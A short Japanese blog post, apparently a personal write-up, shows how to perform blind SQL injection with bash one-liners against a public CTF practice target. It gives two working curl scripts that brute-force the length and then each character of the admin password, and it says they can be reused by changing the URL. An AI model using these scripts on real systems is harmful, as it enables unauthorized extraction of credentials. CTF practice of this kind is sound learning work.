ちょっと前に意図的に脆弱なシステムを作る機会があって、そこでブラインドSQLインジェクションを利用して値を取得させるように作った。 で、前に 常設のCTFで似たような内容をシェル芸で解いてた のでちゃちゃっと対応できるだろうと思ってたのだけど、結構前に書いてたコードだったのでテスト時にうまくできなかったので、次に手こずらないようそこだけ抜き出して書いてみる。(サンプルに必要なURLは前述のCTFのサイトを利用)

ブラインドSQLでは、まず最初に対象の文字数を調べる必要があるので、以下のようなコマンドを実行する。

bash
seq 10 30 | # 調査する文字数の範囲を指定 \ xargs -I{} bash -c " printf '%s ' {} # 調査対象の文字数を表示; # -dでidフィールドにSQLインジェクションを指定(文字数が正しければtrueとなるように記述) curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \ -d \"id=admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {} --\" \ -d \"pass=aaaa\" | \ wc -l" | # 出力結果のhtmlの行数を調査 \ sort -k2 | # 2列目(htmlの行数でソート) \ uniq -c -f1 | # htmlの行数でカウント \ awk '$1=="1"{print $2}' # htmlの行数のカウント結果が1の行だけ出力

これで文字数が取得できたら、その文字数だけ一文字ずつ総当たりのチェックを行う。(上記CTFでは文字数が21なので、forで指定した文字数は1~21にしている。)

bash
for i in {1..21}; do # 0-9,a-z,A-Zの文字を出力 echo {{0..9},{a..z},{A..Z},_} | \ fmt -1 | \ xargs -I{} bash -c " printf '%s ' {} # 調査対象の文字を表示; # -dでidフィールドにSQLインジェクション(指定した位置の文字が「{}」で指定した値の場合はTRUE) curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ \ -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '{}' --\" \ -d \"pass=aaaa\" | \ wc -l" | # 出力結果のhtmlの行数を出力 \ sort -k2 | # 2列目(htmlの行数でソート) \ uniq -c -f1 | # htmlの行数でカウント \ awk '$1=="1"{print $2}' ; # htmlの行数のカウント結果が1の行だけ出力 done | \ tr -d '\n';echo # 改行を削除して結合

これでシェル芸でブラインドSQLインジェクションの処理ができる。 再利用する場合は、環境に応じてcurlで指定しているURLやPOSTする内容を書き換えればいいはずだ。